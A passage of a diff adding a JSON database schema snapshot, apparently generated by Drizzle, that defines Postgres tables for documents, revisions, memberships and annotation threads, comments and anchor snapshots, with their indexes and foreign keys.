"onDelete": "no action" + }, + "decisions_origin_issue_id_issues_id_fk": { + "name": "decisions_origin_issue_id_issues_id_fk", + "tableFrom": "decisions", + "columnsFrom": [ + "origin_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decisions_origin_run_id_heartbeat_runs_id_fk": { + "name": "decisions_origin_run_id_heartbeat_runs_id_fk", + "tableFrom": "decisions", + "columnsFrom": [ + "origin_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.document_annotation_anchor_snapshots": { + "name": "document_annotation_anchor_snapshots", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "thread_id": { + "name": "thread_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "from_revision_id": { + "name": "from_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "from_revision_number": { + "name": "from_revision_number", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "to_revision_id": { + "name": "to_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "to_revision_number": { + "name": "to_revision_number", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "previous_anchor": { + "name": "previous_anchor", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "next_anchor": { + "name": "next_anchor", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "anchor_state": { + "name": "anchor_state", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "anchor_confidence": { + "name": "anchor_confidence", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "document_annotation_anchor_snapshots_company_thread_created_at_idx": { + "name": "document_annotation_anchor_snapshots_company_thread_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "thread_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_anchor_snapshots_company_document_revision_idx": { + "name": "document_annotation_anchor_snapshots_company_document_revision_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "to_revision_number", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "document_annotation_anchor_snapshots_company_id_companies_id_fk": { + "name": "document_annotation_anchor_snapshots_company_id_companies_id_fk", + "tableFrom": "document_annotation_anchor_snapshots", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk": { + "name": "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk", + "tableFrom": "document_annotation_anchor_snapshots", + "columnsFrom": [ + "thread_id" + ], + "tableTo": "document_annotation_threads", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_anchor_snapshots_document_id_documents_id_fk": { + "name": "document_annotation_anchor_snapshots_document_id_documents_id_fk", + "tableFrom": "document_annotation_anchor_snapshots", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk": { + "name": "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk", + "tableFrom": "document_annotation_anchor_snapshots", + "columnsFrom": [ + "from_revision_id" + ], + "tableTo": "document_revisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk": { + "name": "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk", + "tableFrom": "document_annotation_anchor_snapshots", + "columnsFrom": [ + "to_revision_id" + ], + "tableTo": "document_revisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.document_annotation_comments": { + "name": "document_annotation_comments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "thread_id": { + "name": "thread_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "routine_id": { + "name": "routine_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "author_type": { + "name": "author_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "author_agent_id": { + "name": "author_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "author_user_id": { + "name": "author_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_comment_id": { + "name": "issue_comment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "source_trust": { + "name": "source_trust", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "document_annotation_comments_company_thread_created_at_idx": { + "name": "document_annotation_comments_company_thread_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "thread_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_comments_company_issue_created_at_idx": { + "name": "document_annotation_comments_company_issue_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_comments_company_routine_created_at_idx": { + "name": "document_annotation_comments_company_routine_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_comments_company_case_created_at_idx": { + "name": "document_annotation_comments_company_case_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_comments_company_document_created_at_idx": { + "name": "document_annotation_comments_company_document_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_comments_issue_comment_idx": { + "name": "document_annotation_comments_issue_comment_idx", + "columns": [ + { + "expression": "issue_comment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_comments_body_search_idx": { + "name": "document_annotation_comments_body_search_idx", + "columns": [ + { + "expression": "body", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + } + }, + "foreignKeys": { + "document_annotation_comments_company_id_companies_id_fk": { + "name": "document_annotation_comments_company_id_companies_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "document_annotation_comments_thread_id_document_annotation_threads_id_fk": { + "name": "document_annotation_comments_thread_id_document_annotation_threads_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "thread_id" + ], + "tableTo": "document_annotation_threads", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_comments_issue_id_issues_id_fk": { + "name": "document_annotation_comments_issue_id_issues_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_comments_routine_id_routines_id_fk": { + "name": "document_annotation_comments_routine_id_routines_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "routine_id" + ], + "tableTo": "routines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_comments_case_id_cases_id_fk": { + "name": "document_annotation_comments_case_id_cases_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "case_id" + ], + "tableTo": "cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_comments_document_id_documents_id_fk": { + "name": "document_annotation_comments_document_id_documents_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_comments_author_agent_id_agents_id_fk": { + "name": "document_annotation_comments_author_agent_id_agents_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "author_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk": { + "name": "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "document_annotation_comments_issue_comment_id_issue_comments_id_fk": { + "name": "document_annotation_comments_issue_comment_id_issue_comments_id_fk", + "tableFrom": "document_annotation_comments", + "columnsFrom": [ + "issue_comment_id" + ], + "tableTo": "issue_comments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "document_annotation_comments_exactly_one_owner_chk": { + "name": "document_annotation_comments_exactly_one_owner_chk", + "value": "num_nonnulls(\"document_annotation_comments\".\"issue_id\", \"document_annotation_comments\".\"routine_id\", \"document_annotation_comments\".\"case_id\") = 1" + } + }, + "isRLSEnabled": false + }, + "public.document_annotation_threads": { + "name": "document_annotation_threads", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "routine_id": { + "name": "routine_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_key": { + "name": "document_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'open'" + }, + "anchor_state": { + "name": "anchor_state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "original_revision_id": { + "name": "original_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "original_revision_number": { + "name": "original_revision_number", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "current_revision_id": { + "name": "current_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "current_revision_number": { + "name": "current_revision_number", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "selected_text": { + "name": "selected_text", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "prefix_text": { + "name": "prefix_text", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "suffix_text": { + "name": "suffix_text", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "normalized_start": { + "name": "normalized_start", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "normalized_end": { + "name": "normalized_end", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "markdown_start": { + "name": "markdown_start", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "markdown_end": { + "name": "markdown_end", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "anchor_confidence": { + "name": "anchor_confidence", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'exact'" + }, + "anchor_selector": { + "name": "anchor_selector", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolved_by_agent_id": { + "name": "resolved_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "resolved_by_user_id": { + "name": "resolved_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "document_annotation_threads_company_document_status_idx": { + "name": "document_annotation_threads_company_document_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_threads_company_issue_status_idx": { + "name": "document_annotation_threads_company_issue_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_threads_company_routine_status_idx": { + "name": "document_annotation_threads_company_routine_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_threads_company_case_status_idx": { + "name": "document_annotation_threads_company_case_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_threads_company_current_revision_open_idx": { + "name": "document_annotation_threads_company_current_revision_open_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "current_revision_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_annotation_threads_company_anchor_state_idx": { + "name": "document_annotation_threads_company_anchor_state_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "anchor_state", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "document_annotation_threads_company_id_companies_id_fk": { + "name": "document_annotation_threads_company_id_companies_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "document_annotation_threads_issue_id_issues_id_fk": { + "name": "document_annotation_threads_issue_id_issues_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_threads_routine_id_routines_id_fk": { + "name": "document_annotation_threads_routine_id_routines_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "routine_id" + ], + "tableTo": "routines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_threads_case_id_cases_id_fk": { + "name": "document_annotation_threads_case_id_cases_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "case_id" + ], + "tableTo": "cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_threads_document_id_documents_id_fk": { + "name": "document_annotation_threads_document_id_documents_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_annotation_threads_original_revision_id_document_revisions_id_fk": { + "name": "document_annotation_threads_original_revision_id_document_revisions_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "original_revision_id" + ], + "tableTo": "document_revisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "document_annotation_threads_current_revision_id_document_revisions_id_fk": { + "name": "document_annotation_threads_current_revision_id_document_revisions_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "current_revision_id" + ], + "tableTo": "document_revisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "document_annotation_threads_created_by_agent_id_agents_id_fk": { + "name": "document_annotation_threads_created_by_agent_id_agents_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "document_annotation_threads_resolved_by_agent_id_agents_id_fk": { + "name": "document_annotation_threads_resolved_by_agent_id_agents_id_fk", + "tableFrom": "document_annotation_threads", + "columnsFrom": [ + "resolved_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "document_annotation_threads_exactly_one_owner_chk": { + "name": "document_annotation_threads_exactly_one_owner_chk", + "value": "num_nonnulls(\"document_annotation_threads\".\"issue_id\", \"document_annotation_threads\".\"routine_id\", \"document_annotation_threads\".\"case_id\") = 1" + } + }, + "isRLSEnabled": false + }, + "public.document_memberships": { + "name": "document_memberships", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "starred_at": { + "name": "starred_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "document_memberships_company_user_starred_idx": { + "name": "document_memberships_company_user_starred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "starred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_memberships_company_user_document_uq": { + "name": "document_memberships_company_user_document_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "document_memberships_company_id_companies_id_fk": { + "name": "document_memberships_company_id_companies_id_fk", + "tableFrom": "document_memberships", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_memberships_document_id_documents_id_fk": { + "name": "document_memberships_document_id_documents_id_fk", + "tableFrom": "document_memberships", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.document_revisions": { + "name": "document_revisions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "revision_number": { + "name": "revision_number", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "format": { + "name": "format", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'markdown'" + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "change_summary": { + "name": "change_summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "document_revisions_document_revision_uq": { + "name": "document_revisions_document_revision_uq", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "revision_number", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "document_revisions_company_document_created_idx": { + "name": "document_revisions_company_document_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "document_revisions_company_id_companies_id_fk": { + "name": "document_revisions_company_id_companies_id_fk", + "tableFrom": "document_revisions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_revisions_document_id_documents_id_fk": { + "name": "document_revisions_document_id_documents_id_fk", + "tableFrom": "document_revisions", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "document_revisions_created_by_agent_id_agents_id_fk": { + "name": "document_revisions_created_by_agent_id_agents_id_fk", + "tableFrom": "document_revisions", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "document_revisions_created_by_run_id_heartbeat_runs_id_fk": { + "name": "document_revisions_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "document_revisions", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.documents": { + "name": "documents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "format": { + "name": "format", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'markdown'" + }, + "latest_body": { + "name": "latest_body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "latest_revision_id": { + "name": "latest_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "latest_revision_number": { + "name": "latest_revision_number", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updated_by_agent_id": { + "name": "updated_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "updated_by_user_id": { + "name": "updated_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "locked_at": { + "name": "locked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "locked_by_agent_id": { + "name": "locked_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "locked_by_user_id": { + "name": "locked_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_trust": { + "name": "source_trust", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "documents_company_updated_idx": { + "name": "documents_company_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "documents_company_created_idx": { + "name": "documents_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "documents_title_search_idx": { + "name": "documents_title_search_idx", + "columns": [ + { + "expression": "title", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + }, + "documents_latest_body_search_idx": { + "name": "documents_latest_body_search_idx", + "columns": [ + { + "expression": "latest_body", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + } + }, + "foreignKeys": { + "documents_company_id_companies_id_fk": { + "name": 